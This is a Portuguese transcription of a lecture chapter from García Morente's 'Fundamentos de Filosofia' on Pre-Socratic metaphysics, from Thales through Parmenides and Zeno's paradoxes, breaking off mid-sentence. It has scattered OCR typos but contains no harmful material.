Cap. 5 – A metafísica dos Pré-Socráticos – Fundamentos de Filosofia de Manuel Morente

Fundamentos de Filosofia de Manuel Garcia Morente
Lições Preliminares

Lição V

A METAFÍSICA DOS PRÉ-SOCRÁTICOS

31.
O REALISMO METAFÍSICO. — 32. OS PRIMEIROS FILÓSOFOS GREGOS. — 38. PITÁGORAS E
HERÁCLITO. — 34. PARMÊNIDES: SUA POLÊMICA CONTRA HERACLITO. — 35. O SER E SUAS
QUALIDADES. — 36. TEORIA DOS DOIS MUNDOS. — 37. A FILOSOFIA DE ZENÃO DE ELÉIA. — 38. IMPORTÂNCIA DA FILOSOFIA   DE   PARMÊNIDES.

 

31.  
O realismo metafísico.

 

Dissemos
que a metafísica está dominada pela pergunta: quem existe? Dissemos que esta
pergunta implica na existência de múltiplos pretendentes a existir, múltiplos
pretendentes que dizem: eu existo. Mas temos que examinar seus títulos. Nem
todo aquele que quer existir, ou diz que existe, existe verdadeiramente. Os
gregos fizeram lá a distinção. Referi-me antes a isto. Tenhamo-lo bem presente
e perguntemo-nos agora: quem é o ser em si? Não o ser em outro, mas o ser em si. Há uma resposta a essa pergunta, que é ai resposta mais natural, natural no sentido
biológico da palavra: aquela que a natureza em nós mesmos, como seres naturais,
nos dita imediatamente, a mais óbvia, a mais fácil, aquela que ocorre a
qualquer um. Quem existe? Pois muito simples: esta lâmpada, este copo, esta
mesa, estas campainhas, este giz, eu, esta senhorita, aquele cavalheiro, as
coisas e dentre as coisas, como outras coisas, como outros entes, os homens, a
terra, o céu, as estrelas, os animais, os rios; isso é o que existe.                                                                     
                        

Esta
resposta é a mais natural de todas, a mais espontânea e é aquela que a
humanidade repetidas vezes e constantemente tem enunciado. Muitos séculos
demorou a humanidade a mudar de modo de pensar sobre esta pergunta e ainda que
tenha mudado o modo de pensar dos filósofos, continua pensando desta forma todo
o mundo, todo aquele que não é filósofo. Mais ainda: continuam pensando desta
forma os filósofos enquanto não o são; isto é, o filósofo não é filósofo as
vinte e quatro horas do dia, só o é quando filosofa e eu me atreveria a dizer
que todos os filósofos antigos e modernos, presentes e futuros, enquanto não
são filósofos, espontânea e naturalmente, vivem na crença de que o que existe
são as coisas, entre as quais, naturalmente e sem distinção, estamos nós.

A
palavra latina que designa coisas é res. Esta resposta primordial, e até diria
primitiva, natural, leva na história da metafísica o nome de realismo, da
palavra latina res. À pergunta: quem existe? responde o homem naturalmente:
Existem as coisas — res — e esta resposta é o fundo essencial do realismo
metafísico.

Mas
este realismo, na forma em que acabo de esboçá-lo, não tem um só representante
na história da filosofia. Nenhum filósofo, antigo ou moderno, é realista desta
maneira que acabo de dizer. Porque não pode sê-lo. É demasiado evidente, quando
refletimos um momento, que nem todas as coisas existem; que há coisas que
cremos que existem, mas quando nos aproximamos delas vemos que não existem,
seja porque realmente se desvanecem, seja porque Imediatamente as decompomos
em outras; porque é muito simples encontrar coisas compostas de outras. For
conseguinte, imediatamente descobrimos em que consistem essas coisas compostas
de outras, e quando descobrimos em que consistem, já não podemos dizer
realmente que existem, nesse sentido de existência em si, de existência
primordial. Assim, realmente, não houve em toda a história da filosofia — pelo
menos que eu saiba — nenhum realista que afirme a existência de todas as
coisas.

 

32.  
Os primeiros filósofos gregos.
         

 

O
realismo começou certamente na Grécia; e começou discernindo entre as coisas. O
primeiro esforço filosófico do homem foi feito pelos gregos e começou sendo um
esforço para discernir entre aquilo que tem uma existência meramente aparente e
aquilo que tem uma existência real, uma existência em si, uma existência
primordial, irredutível   a   outra.

O
primeiro povo que filosofa na verdade é o povo grego. Outros povos, anteriores,
tiveram cultura, tiveram religião, tiveram sabedoria, mas não tiveram
filosofia. Nesses últimos cinqüenta anos sobretudo, a partir de Schopenhauer,
encheram-nos a cabeça das filosofias orientais, da filosofia hindu, da
filosofia chinesa. Essas não são filosofias. São concepções geralmente vagas
sobre o universo e a vida. São religiões, são sabedoria popular mais ou menos
gemal, mais ou menos desenvolvidas; porém, filosofia não existe na história da
cultura humana, do pensamento humano, até os gregos.

Os
gregos foram os inventores disso que se chama filosofia. Por quê? Porque foram
os inventores — no sentido de "descobrir" da palavra — os
descobridores da razão, os que pretenderam que com a razão, com o pensamento
racional, se pode encontrar o que as coisas são, se pode averiguar o último
fundo das coisas. Então começaram a fazer uso de intuições intelectuais e
intuições racionais, metodicamente.

Antes
deles fazia-se uma coisa parecida; porém, com toda classe de vislumbres, de
crenças, de elementos irracionais.

Feito
este parêntese, diremos que os primeiros filósofos gregos que se propuseram o
problema de "quem existe?", de "qual ó o ser em si", quando
o propõem para si, é porqu9 já superaram o estado do realismo primitivo que
enunciávamos dizendo: todas as coisas existem, e eu entre elas. O primeiro
momento filosófico, o primeiro esforço da reflexão consiste em discernir entre
as coisas que existem em si e as coisas que existem em outra, naquela primária
e primeira.

Estes
filósofos gregos procuram qual é ou quais são as coisas que têm uma existência em si. Eles chamavam a isto o "princípio", nos dois sentidos da palavra: como começo e
como fundamento de todas as coisas. O mais antigo filósofo grego de que se tem
notícia um pouco exata chamava-se Tales e era da cidade de Mileto. Este
homem buscou entre as coisas qual seria o princípio de todas as demais, qual
seria a coisa à qual conferiria a dignidade de ser, de princípio, de ser em si,
a existência em si, da qual todas as demais são simples derivadas; e ele
determinou que esta coisa era a água. Para Tales de Mileto a água é o
princípio de todas as coisas. De modo que todas as demais coisas têm um ser
derivado, secundário. Consistem em água. Mas a água, ela, que é? Como ele diz:
o princípio de tudo o mais não consiste em nada; existe, com uma existência
primordial, como princípio essencial, fundamental, primário.

Outros
filósofos dessa mesma época — o século VII antes de Jesus Cristo — tomaram
atitudes mais ou menos parecidas com a de Tales de Mileto. Por exemplo,
Anaximandro também acreditou que o princípio de todas as coisas era algo
material; porém, já teve uma idéia um pouco mais complicada que Tales; e
determinou que este algo material, princípio de todas as demais coisas, não era
nenhuma coisa determinada, mas uma espécie de protocoisa, que era o que ele
chamava em grego apeiron. indefinido, uma coisa indefinida que não era
nem água, nem cerra, nem fogo, nem ar, nem pedra, mas antes tinha em si, por assim
dizer, em potência, a possibilidade de que dela, desse apeiron, desse infinito
ou indefinido, se derivassem as demais coisas.

Outro
filósofo que se chamou Anaxímenes foi também um desses filósofos primitivos que
buscaram uma coisa material como origem de todas as demais, como origem dos
demais princípios, como única existente em si e por si, da qual eram derivadas
as demais. Anaxímenes para isso tomou o ar.

É
possível que haja havido mais tentativas de antiquíssimos filósofos gregos que
procuraram alguma coisa material; mas estas tentativas foram rapidamente
superadas. Poram-no primeiramente na direção curiosa de não procurar uma, mas
várias; de acreditar que o princípio ou origem de todas as coisas não era uma
só coisa, mas várias coisas. É de supor que as críticas de que foram alvo
Tales, Anaximandro e Anaxímenes contribuíssem a isso. A dificuldade grande de
fazer crer a alguém que o mármore pentélico, em Atenas, fosse derivado d’água;
a dificuldade também de fazê-lo derivar do ar, de fazê-lo derivar de alguma
coisa determinada, fez provavelmente que fossem alvo de críticas acerbas essas
derivações, e então sobreveio a idéia de salvar as qualidades diferenciais das
coisas, admitindo, não uma origem única, mas uma origem plural; não uma só
coisa, da qual fossem derivadas todas as coisas, mas várias coisas; e assim um antiqüíssimo
filósofo, quase legendário, que se chamou Empédocles, inventou a teoria de que
eram quatro as coisas realmente existentes, das quais se derivam todas as
demais e que essas quatro coisas eram: a água o  ar. a terra e o fogo, que ele
chamou "elementos", isto é, aquilo com que se faz "tudo o mais.

Os
quatro elementos de Empédocles atravessaram toda a história do pensamento
grego, entraram de roldão na física de Aristóteles, chegaram até a Idade Média
e desapareceram no começo da Renascença.

Aproximadamente
na mesma época em que viveu Empédocles, dão-se dois acontecimentos filosóficos
que para nossos problemas metafísicos são de importância capital. Um é o
aparecimento de Pitágoras. e o outro o aparecimento de Heráclito.

 

33.  
Pitágoras e Heráclito.

 

Pitágoras
foi um homem de gênio, porque é o primeiro filósofo grego a quem ocorre a idéia
de que o princípio donde tudo o mais se deriva, aquilo que existe de verdade, o
verdadeiro ser, o ser em si, não -é nenhuma coisa; ou, melhor dito, é uma
coisa; porém, que não se vê, nem se ouve, nem se toca, nem se cheira, que não é
acessível aos sentidos. Essa coisa é "número". Para Pitágoras a
essência última de todo ser, dos que percebemos pelos sentidos, é o número. As
coisas são números, escondem dentro de si números. As coisas são distintas umas
de outras pela diferença quantitativa e numérica.

Pitágoras
era um aficionado da música, e foi quem descobriu (ele ou algum dos seus
numerosos discípulos) que na lira se as notas das diferentes cordas soam
diferentemente, é porque umas são mais curtas que as outras e não somente
descobriu isso, mas também mediu o comprimento relativo e encontrou que as
notas da lira estavam entre si numa simples relação numérica de comprimento:
na relação de um dividido por dois, um dividido por três, um dividido por
quatro, um dividido por cinco. Descobriu pois, a oitava, a quinta, a quarta, a
sétima musical, e isto o levou a pensar e o conduziu à idéia de que tudo quanto
vemos e tocamos, as coisas tais e como se apresentam, não existem de verdade, mas
antes são outros tantos véus que ocultam a verdadeira e autêntica realidade, a
existência real que está atrás dela e que é o número. Seria complexo (e nem
pertenceria ao tema, nem à oportunidade) demonstrar minuciosamente esta teoria
de Pitágoras. Interessa-me tão-somente fazê-la notar, porque é a primeira vez
que na história do pensamento grego surge como coisa realmente existente, uma
coisa não material, nem extensa, nem visível, nem tangível.

O
outro acontecimento foi o aparecimento de Heráclito. Heráclito foi também um
homem de gênio profundíssimo, que antecipou uma porção de temas da filosofia
contemporânea. Heráclito percorre com o olhar todas as soluções que antes dele
foram dadas ao problema de "que existe?" e encontra-se com uma enorme
variedade de respostas: que Tales de Mileto diz: a água existe; que Anaxímenes
diz: o ar existe; que Anaximandro diz: a matéria, amorfa, sem forma, indefinida,
existe; que Pitágoras diz: os números existem; e que Empédocles diz: os quatro
elementos existem; o resto não existe.

Então
Heráclito acha que nenhuma dessas respostas é certa; acha que, se examinarmos
verdadeiramente, com olhos imparciais, as coisas que temos ante nós,
encontraremos nelas tudo isso; e sobretudo, que as coisas que temos ante nós
não são nunca, em nenhum momento, aquilo que são no momento anterior e no
momento posterior; que as coisas estão mudando constantemente; que quando nós
queremos fixar uma coisa e definir sua consistência, dizer em que consiste esta
coisa, ela já não consiste no que consistia um momento antes. Proclama, pois, o
fluir da realidade. Nunca vemos duas vezes a mesma coisa, por próximos que
sejam os momentos ou, como dizia na sua linguagem metafórica e mística:
"Nunca nos banhamos duas vezes no mesmo rio." As coisas são as gotas
d’água nos rios, que passam e não voltam nunca mais.

Não
há, pois, um ser estático das coisas. O que há é um ser dinâmico, no qual
podemos fazer um corte, mas será arbitrário. De sorte que as coisas não são,
mas devêm e nenhuma e todas podem ter a pretensão de ser o ser em si. Nada existe, porque tudo o que existe, existe um instante e no instante seguinte já não
existe, antes é outra coisa a que existe. O existir é um perpétuo mudar, um
estar constantemente sendo e não-sendo, um devir perfeito; um constante fluir.
E assim termina a filosofia de Heráclito; de uma parte, com uma visão profunda
da essência mesma da realidade e que só voltaremos a encontrar em algum
filósofo antigo, como Plotino, e num filósofo moderno, como Bergson; mas, de
outra parte, com uma nota de cepticismo, isto é, com uma espécie de resignação
ante a incapacidade do homem de descobrir o que existe verdadeiramente; até o
fato que o problema seja demasiadamente grande para o homem.

E
neste momento — que é o século VI antes de Jesus Cristo — neste momento em que Heráclito acaba de terminar a sua obra, surge no pensamento grego o maior filósofo que
conhecem os tempos helênicos. O maior, digo, porque Platão, que foi discípulo
seu, assim! o qualificou. Platão nunca usa adjetivos, de louvor ou
pejorativos, para qualificar qualquer dos filósofos que o precederam. Nomeia-os
cortês-mente. O único ante o qual ele fica pasmado de admiração é Parmênides
de Eléia. A Parmênides chama sempre nos seus diálogos "o grande",
"Parmênides, o grande"; sempre lhe dá este epíteto como os epítetos
que recebem os heróis de Homero.

Quando
Heráclito termina sua atuação filosófica, surge no pensamento grego
Parmênides, o grande, que é, com efeito, o maior espírito do seu tempo; tão
grande, que muda por completo a face da filosofia, a face do problema
metafísico, e impele o pensamento filosófico e metafísico pelo caminho em que
estamos ainda hoje. Faz vinte e cinco séculos que Parmênides imprimiu ao
pensamento metafísico uma direção; e este rumo se manteve até hoje, inclusive.

 

34.  
Parmênides:  sua polêmica contra Heráclito.

 

Parmênides
de Eléia introduz a maior revolução que se conhece na história do pensamento
humano. Parmênides de Eléia leva a efeito a façanha maior que o pensamento
ocidental europeu realizou em

vinte
e cinco séculos; tanto, que continuamos ainda hoje vivendo nos mesmos trilhos e
caminhos filosóficos que foram abertos por Parmênides de Eléia, e por onde
este impeliu, com um impulso gigantesco, o pensamento filosófico humano.

Eléia
é uma pequena cidade do sul da Itália que deu seu nome à escola de filósofos
influenciados por Parmênides, que nas histórias da filosofia se chama
"escola eleática", porque todos eles foram dessa mesma cidade de
Eléia.

A
filosofia de Parmênides não pode ser bem compreendida se não se coloca em
relação polêmica com a filosofia de Heráclito. O pensamento de Parmênides
amadurece, cresce, se multiplica em vigor e esplendor, à medida que vai
empreendendo a crítica de Heráclito. Desenvolve-se na polêmica contra Heráclito.

Parmênides
se defronta com a solução que Heráclito dá ao problema metafísico. Analisa
esta solução e constata que, segundo Heráclito, resulta que uma coisa é e não
é ao mesmo tempo, visto que o ser consiste em estar sendo, em fluir, em devir. Parmênides, analisando a idéia mesma de devir, de fluir, de mudar, encontra nessa
idéia o elemento de que o ser deixa de ser o que é para tornar-se outra coisa,
e, ao mesmo tempo que se torna outra coisa, deixa de ser o que é para tornar-se
outra coisa. Verifica, pois, que dentro da idéia do devir há uma contradição
lógica, há esta contradição: que o ser não é; que aquele que é não é, visto que
o que é neste momento já não é neste momento, antes passa a ser outra coisa.
Qualquer olhar que lancemos sobre a realidade nos confronta com uma contradição
lógica, com um ser que se caracteriza por não ser. E diz Parmênides: isto é
absurdo; a filosofia de Heráclito é absurda, é ininteligível, não há quem a
compreenda. Porque como pode alguém compreender que o que é não seja, e, o que
não é seja? Não pode ser! Isto é impossível! Temos, pois, que opor às
contradições, aos absurdos, à ininteligibilidade da filosofia de Heráclito um
princípio de razão, um principio de pensamento que não possa nunca falhar. Qual
será este princípio? Este: o ser é; o não—ser não é. Tudo o que fugir disto é
despropositado, e jogar-se, precipitar-se no abismo do erro. Como se pode
dizer, como diz Heráclito, que as coisas são e não são? Por que a idéia do
devir implica necessariamente, como seu próprio nervo interior, que aquilo que
agora é, já não é, visto que todo momento que tomamos no transcurso do ser,
segundo Heráclito, é um trânsito para o não-ser do que antes era, e isto é
incompreensível, e isto é ininteligível. As coisas têm um ser, e este ser, é.
Se não têm ser, o não-ser não é.

Se
Parmênides se tivesse contentado em fazer a crítica de Heráclito teria feito
já uma obra de importância filosófica considerável. Porém, não se contenta com
isso, mas antes acrescenta à crítica de Heráclito uma construção metafísica
própria. E como leva a efeito esta construção metafísica própria? Pois leva-a a
efeito partindo desse princípio, de razão que ele acaba de descobrir.
Parmênides acaba de descobrir o princípio lógico do pensamento, que formula
nestes termos categóricos e estritos: o ser é; o não-ser não é. E tudo o que
se afastar disso será corrida em direção ao erro.

 

35.  
O Ser e suas qualidades.

 

Este
princípio, que descobre Parmênides e que os lógicos atuais chamam
"princípio de identidade", serviu-lhe de base para a sua construção 
metafísica. Parmênides diz: em virtude desse princípio de identidade (é claro
que ele não o chamou assim; assim o denominaram muito depois os lógicos), em
virtude do princípio de que o ser é, e o não-ser não é, princípio que ninguém
pode negar sem ser declarado louco, podemos afirmar acerca do ser uma porção de
coisas. Podemos afirmar, primeiramente, que o ser é único. Não pode haver dois
seres; não pode haver mais que um só ser. Porque suponhamos que haja dois seres;
pois, então, aquilo que distingue um do outro "é" no primeiro, porém
"não é" no segundo. Mas se no segundo não é aquilo que no primeiro é,
então chegamos ao absurdo lógico de que o ser do primeiro não é no segundo.
Tomando isto absolutamente, chegamos ao absurdo contraditório de afirmar o
não-ser do ser. Dito de outro modo: se há dois seres, que há entre eles? O
não-ser. Mas dizer que há o não-ser é dizer que o não-ser, é. E isto é
contraditório, isto é absurdo, não tem cabimento; essa proposição é contrária
ao princípio de identidade.

Portanto,
podemos afirmar que o ser é único, um. Mas ainda podemos afirmar que é eterno.
Se não o fosse, teria princípio e teria fim. Se tem princípio, é que antes de
começar o ser havia o não ser. Mas, como podemos admitir que haja o não-ser?
Admitir que há o não-ser, é admitir que o não-ser é. Admitir que o não-ser é, é
tão absurdo como admitir que este cristal é verde e não-verde. O ser é, o
não-ser não é. Por conseguinte, antes que o ser fosse, havia também o ser; quer
dizer, que o ser não tem princípio. Pela mesma razão não tem fim, porque se
tem fim é que chega um momento em que o ser deixa de ser. E depois de ter
deixado de ser o ser, que há? O não-ser. Mas, então, temos que afirmar o ser do
não-ser, e isto é absurdo. Por conseguinte, o ser é, além de único, eterno.

Mas
não fica nisto. Além de eterno, o ser é imutável. O ser não pode mudar, porque
toda mudança do ser implica o ser do não-ser, visto que toda mudança é deixar
de ser o que era para ser o que não era, e, tanto no deixar de ser como no
chegar a ser, vai implícito o ser do não-ser, o que é contraditório.

Mas,
além de imutável, o ser é ilimitado, infinito. Não tem limites ou, dito de
outro modo, não está em parte alguma. Estar em uma parte é encontrar-se em algo
mais extenso e, por conseguinte, ter limites. Mas o ser não pode ter limites,
porque se tem limites, cheguemos até estes limites e suponhamo-nos nestes
limites. Que há além do limite? O não-ser. Mas então temos que supor o ser do
não-ser além do ser. Por conseguinte o ser não pode ter limites e se não pode
ter limites, não está em parte alguma e é ilimitado.

Mas
há mais, e já chegamos ao fim. O ser é imóvel, não pode mover-se, porque
mover-se é deixar de estar num lugar para estar em outro. Mas como predicar-se do ser — o qual, como acabamos de ver, é ilimitado e imutável — o
estar em um lugar? Estar em um lugar supõe que o lugar onde está é mais amplo,
mais extenso que aquilo que está no lugar. Por conseguinte, o ser, que é o mais
extenso, o mais amplo que há, não pode estar em lugar algum, e se não pode
estar em lugar algum, não pode deixar de estar no lugar; ora: o movimento
consiste em estar estando, em deixar de estar num lugar para estar em outro
lugar. Logo o ser é imóvel.

Se
resumirmos todos esses predicados que Parmênides atribui ao ser, encontramos
que o ser é único, eterno, imutável, ilimitado e imóvel. Já encontrou bastante
coisa Parmênides. Mas, ainda vai além.

 

36.  
Teoria dos dois mundos.

 

Evidentemente,
não podia escapar a Parmênides que o espetáculo do universo, do mundo das
coisas, tal como se oferece aos nossos sentidos, é completamente distinto deste
ser único, imóvel, ilimitado,  mutável e eterno. As coisas são, pelo contrário,
movimentos, seres múltiplos que vão e vêm, que se movem, que mudam, que nascem
e que perecem. Não podia, pois, passar despercebido a Parmênides a oposição em
que sua metafísica se encontrava frente ao espetáculo do universo. Então
Parmênides não hesita um instante. Com esse sentido da coerência lógica que têm
as crianças (neste caso Parmênides é a criança da filosofia) tira
corajosamente a conclusão: este mundo heterogêneo de cores, de sabores, de
cheiros, de movimentos, de subidas e descidas, das coisas que vão e vêm, da
multiplicidade dos seres, de sua variedade, do seu movimento, de sua
heterogeneidade, todo este mundo sensível é uma aparência, é uma ilusão dos
nossos sentidos, uma ilusão da nossa faculdade de perceber. Assim como um
homem que visse forçosamente o mundo através de uns cristais vermelhos diria:
as coisas são vermelhas, e estaria errado: do mesmo modo quando dizemos: o ser
é múltiplo, o ser é movediço, o ser é mutável, o ser é variadíssimo, estamos
errados. Na realidade, o ser é único, imutável, eterno, ilimitado e imóvel.

Declara
então Parmênides, resolutamente, que a percepção sensível é ilusória. E
imediatamente, com a maior coragem, tira outra conclusão: a de que há um mundo
sensível e um mundo inteligível. E pela primeira vez na história da filosofia
aparece esta tese da distinção entre o mundo sensível e o mundo inteligível,
que dura até hoje.

Que
entende Parmênides por mundo sensível? Aquele que conhecemos pelos sentidos.
Mas este mundo sensível que conhecemos pelos sentidos é ininteligível, absurdo,
porque se o analisarmos bem, tropeçaremos a cada instante com a rígida
afirmação racional da lógica.

Vimos
que todas essas propriedades do ser que antes enumeramos, foram assentadas
como esteios fundamentais da metafísica, porque as suas contrárias (a
pluralidade, a temporalidade, a mutabilidade, a limitação e o movimento)
resultam incompreensíveis diante da razão. Quando a razão analisa, tropeça
sempre com a hipótese inadmissível de que o não-ser é, ou de que o ser não é.
E como isto é contraditório, tudo isto resulta ilusório e falso.

O
mundo sensível é ininteligível. Por isso, frente ao mundo sensível que vemos,
que tocamos, mas que não podemos compreender, coloca Parmênides um mundo que
não vemos, não tocamos, do qual não temos imaginação nenhuma, mas que podemos
compreender, que está sujeito e submetido à lei lógica da não contradição, à
lei lógica da identidade; e por isso chama-o, pela primeira vez na História,
mundo inteligível, mundo do pensamento. Este é o único autêntico; o outro é
puramente falso.

Se
fizermos o balanço dos resultados obtidos por Parmênides, encontrar-nos-emos
verdadeiramente maravilhados diante da colheita filosófica deste homem
gigantesco. Ele descobre o princípio da identidade, um dos esteios fundamentais
da lógica. E não somente descobre o princípio de identidade, mas, além disso,
afirma imediatamente a tese de que, para descobrir que é o que é na realidade,
não temos outro guia que o princípio de identidade; não temos outro guia que
nosso pensamento lógico e racional. Quer dizer, assenta a tese fundamental de
que as coisas fora de mim, o ser fora de mim é exatamente idêntico ao meu
pensamento do ser. Aquilo que eu não puder pensar por ser absurdo pensá-lo, não
poderá ser na realidade, e, por conseguinte, não necessitarei para conhecer a
autêntica realidade do ser, raiz de mim mesmo, mas somente tirando a lei fundamental
do meu pensamento lógico, fechando os olhos a tudo, somente pensando um pouco
coerentemente, descobrirei as propriedades essenciais do ser.

Quer
dizer que, para Parmênides, as propriedades essenciais do ser são as mesmas que
as propriedades essenciais do pensar. Dentre os fragmentos que se conservam
brilha esta frase esculpida em mármore imperecível: "Ser e pensar é uma e
só coisa". A partir deste momento ficam assim, por vinte e cinco séculos,
colocadas as bases da filosofia ocidental.

Até
agora falávamos da filosofia eleática de Parmênides em linhas um pouco gerais.
Bastaria o que disse para caracterizá-la. Porém, quero acrescentar umas quantas
considerações sobre este pormenor, a técnica mesma com que os eleáticos
realizavam sua filosofia.

 

37.  
A filosofia de Zenão de Eléia.

 

Vamos
agora presenciar o espetáculo de um filósofo eleático, discípulo de
Parmênides, a esmiuçar a filosofia de seu mestre. Este discípulo, a quem nos
vamos referir, é muito famoso. É Zenão, da cidade de Eléía. É muito famoso na
história da filosofia grega. Compartilha em absoluto os princípios fundamentais
do eleatismo, dessa filosofia que acabamos de descrever em poucas palavras.
Compartilha-a mas vamos surpreendê-lo nos pormenores de suas afirmações.

Zenão
preocupou-se durante toda a sua vida muito especialmente em demonstrar em
detalhe que o movimento que existe, com efeito, no mundo dos sentidos, nesse
mundo sensível, nesse mundo aparencial, ilusório, é ininteligível, e, visto que
é ininteligível, não é. Em virtude do princípio eleático da identidade do ser e
do pensar, aquilo que não se pode pensar não pode ser. Não pode ser mais que
aquilo que se pode pensar coerentemente, sem contradições. Se, pois, a análise
do movimento nos conduz à conclusão de que o movimento é impensável, de que ao
pensarmos nós o movimento chegamos a contradições insolúveis, a conclusão é
evidente: se o movimento é impensável, o movimento não é. O movimento é uma
mera ilusão de nossos sentidos.

Zenão
de Eléla propõe-se a polir uma série de argumentos incontrovertíveis que
demonstram que o movimento é impensável; que não podemos logicamente,
racionalmente, pensá-lo, porque chegamos a absurdos.

Com
esse método de paradigma constante, de exemplificação constante que empregam
os gregos, como Platão, e que Aristóteles usará mais tarde, Zenão exemplifica
também seus raciocínios. É além disso, com este gosto que têm os gregos — entre
artistas e sofistas — de chamar a atenção e de encher de admiração os ouvintes,
Zenão se colocava diante dos seus amigos, dos seus ouvintes, e lhes dizia:
"Vou demonstrar-lhes uma coisa: se vocês colocarem Aquiles a disputar uma
corrida corn uma tartaruga, Aquiles não alcançará jamais a tartaruga, se derem
vantagem a esta na saída." Aquiles, relembremos, é o herói a quem Homero
chama sempre ocus podas, ou seja, veloz dos pés, o melhor corredor (que havia
na Grécia, e a tartaruga é animal que se move com muita lentidão. Aquiles dá
uma vantagem à tartaruga e fica uns quantos metros atrás. Digam-me: quem
ganhará a carreira? Todos respondem: "Aquiles em dois pulos passa por cima
da tartaruga e a vence." E Zenão diz: "Estão completamente enganados.
Vocês o vão ver. Aquiles deu uma vantagem à tartaruga; logo, entre Aquiles e a
tartaruga, no momento de partir, há uma distância. Começa a carreira. Quando
Aquiles chegar ao ponto onde estava a tartaruga, esta terá caminhado algo,
estará mais adiante e Aquiles não a terá alcançado ainda. Quando Aquiles chegar
a este novo lugar em que agora está a tartaruga, esta terá caminhado algo, e
Aquiles não a terá alcançado porque para alcançá-la será mister que a tartaruga
não avance nada no tempo que necessita Aquiles para chegar onde ela estava. E
como o espaço pode ser dividido sempre num número infinito de pontos, Aquiles
não poderá jamais alcançar a tartaruga, embora ele seja, como diz Homero, ocus
podas, ligeiro de pés, e, ao contrário, a tartaruga seja lenta e
sossegada."

Os gregos
riam-se ouvindo estas coisas, porque gostavam imensamente dessas brincadeiras.
Riam-se muitíssimo e talvez dissessem: está louco. Mas não compreendiam o
sentido do argumento. Nas filosofias gregas posteriores, conforme nos narra
Sexto Empírico, Diógenes demonstrou o movimento andando, se pôs a andar, e
assim acreditou ter refutado a Zenão. Ilusões! E que não compreendeu o sentido
do argumento de Zenão. Zenão não diz que no mundo sensível de nossos sentidos
não alcance Aquiles a tartaruga; o que quer dizer é que se aplicarmos as leis
do pensamento racional ao problema do movimento, simbolizado aqui por esta
carreira pedestre, verificaremos que as leis do movimento racional são
incapazes de fazer inteligível o movimento. Por que que é o movimento? O
movimento é a translação de um ponto no espaço, ponto que passa de um lugar a
outro. Ora; o espaço é infinitamente divisível. Um pedaço de espaço, por
pequeno que seja, ou é espaço ou não o é. Se não o é, não falemos nisso;
estamos falando do espaço. Se 6 espaço, então é extenso; por pouca
que seja sua extensão, é algo extenso, porque, se não fosse extenso, não seria
espaço. E se é extenso, é divisível em dois. O espaço é, pois, divisível num número infinito de pontos. Como o movimento consiste no trânsito de um ponto
do espaço a outro ponto do espaço, e como entre dois pontos do espaço, por
próximos que estejam, há uma infinidade de pontos, resulta que esse trânsito
não pode realizar-se senão num infinito de tempo, e se faz ininteligível.

O
que queria demonstrar Zenão é que o movimento, pensado segundo o princípio de
identidade — o ser é, e, o não-ser não é — resulta ininteligível. E como é
ininteligível, é preciso declarar que o movimento não pertence ao ser
verdadeiro, como dizem os gregos, ao ontos on, ao que é verdadeiro.

A
Platão convenceu o argumento de Zenão; tanto, que, como veremos mais adiante,
na solução que dá ao problema da metafísica, Platão elimina o movimento do
mundo inteligível e o deixa reduzido, como os eleáticos, ao mundo sensível, ao
mundo da aparência.

Nas
histórias da filosofia mais amplas podem ser encontrados outros dois famosos
argumentos do estilo desse de Aquiles e a tartaruga. São o argumento da flecha
e o argumento dos carros que correm no estádio. O primeiro argumento consiste
em que uma flecha voando pelo ar não está em movimento mas em repouso. Compreende-se facilmente como se pode demonstrar isto: simplesmente partindo da
tese de Zenão. O outro argumento consiste em que dois carros, que se perseguem
no estádio, não se alcançam nunca. É exatamente o argumento de Aquiles e a
tartaruga, referido a outros objetos, de modo que não vale a pena insistir
sobre isto.

 

38.   
Importância da filosofia de Parmênides.

 

Em
lugar disto, para terminar, vou insistir mais uma vez na importância que a
filosofia de Parmênides tem para a filosofia,, em geral do ocidente europeu; e
agora vou acrescentar: para a filosofia atual, nossa, de hoje. Sua importância
histórica é inegável. Parmênides é o descobridor da identidade do ser; o
descobridor da identificação entre o ser e o pensar. Os eleáticos são os
primeiros a praticar a dialética, ou seja, a discussão por meio de argumentos.
Parmênides constitui toda uma metafísica baseada nas suas descobertas do princípio
de identidade e a identificação entre o pensar e o ser. De modo que  sua importância
histórica é grande.    .

Observando-se
que qualquer livro de lógica dos que hoje se adotam em qualquer escola, nas
primeiras páginas trata já do princípio de identidade descoberto por
Parmênides; se se cogita, de outra parte, que a partir de Parmênides rege a
idéia, em uma ou outra forma, de que o guia para descobrir a verdade do ser
está na razão, adverte-se que esta idéia se poderá aplicar com o excessivo
rigor com que a aplicou Parmênides, esquecendo-se de que o princípio de
identidade ó puramente formal, ou poderá aplicar-se de maneira distinta; mas o
certo é que desde Parmênides está ancorada na mente dos filósofos a convicção
de que o roteiro para descobrir, para resolver os problemas do ser, é nossa
razão, nossa intuição intelectual, nossa intuição volitiva; em resumo, algo
que, para lhe dar o nome de conjunto, é nosso espírito. Esta é uma idéia
fundamentalmente parmenídica, fundamentalmente eleática.

Porém
ainda há mais. A importância que Parmênides tem para a filosofia atual, nossa,
consiste em que o obstáculo fundamental que se opõe em nossos dias a que o
pensamento filosófico penetre em regiões mais profundas que as regiões do ser,
consiste precisamente em que, desde Parmênides, e por culpa de Parmênides,
temos do ser uma concepção estática em lugar de ter uma concepção dinâmica;
temos do ser uma concepção estática, inerte. Essas coisas que enumerei como as
qualidades do ser: único, eterno, imutável, ilimitado e imóvel, que Parmênides
faz derivar do princípio de identidade, nós aplicamos todos os dias; mas, em
lugar de aplicá-las ao ser, as aplicamos à substância e à essência.
Fragmentamos o ser de Parmênides em multidão de seres que chamamos as coisas;
mas cada uma das coisas, as ciências físico-matemáticas consideram-nas como
uma essência, a qual, individualmente considerada, tem os mesmos caracteres
que tem o ser de Parmênides; é única, eterna, imutável, ilimitada, imóvel. E
precisamente porque demos a cada coisa os atributos ou predicados que Parmênides
dava à totalidade do ser, por isso temos do ser uma concepção eleática e
parmenídica, ou seja, uma concepção estática.

A
ciência física da natureza, a própria ciência da física, começa já a sentir-se
apertada dentro dos moldes da concepção parmenídica da realidade. A ciência
física da natureza, a teoria intra-atômica, a teoria das estruturas atômicas, a
teoria dos quanta de energia, que seria demorado desenvolver aqui, é já uma
teoria que se choca um pouco com a concepção estática do ser à maneira de
Parmênides; e a ciência contemporânea teve que apelar a conceitos tão
extravagantes e esquisitos como o conceito de verdade estatística, que se o
tivessem relatado a Newton o teria feito estremecer; apelar a conceitos de verdade
estatística, que é o mais contrário que se pode imaginar à concepção estática
do ser, para poder manter-se dentro dos moldes do ser estático, parmenídico.

Não
somente a física; antes, o que não entra de maneira alguma dentro de tal
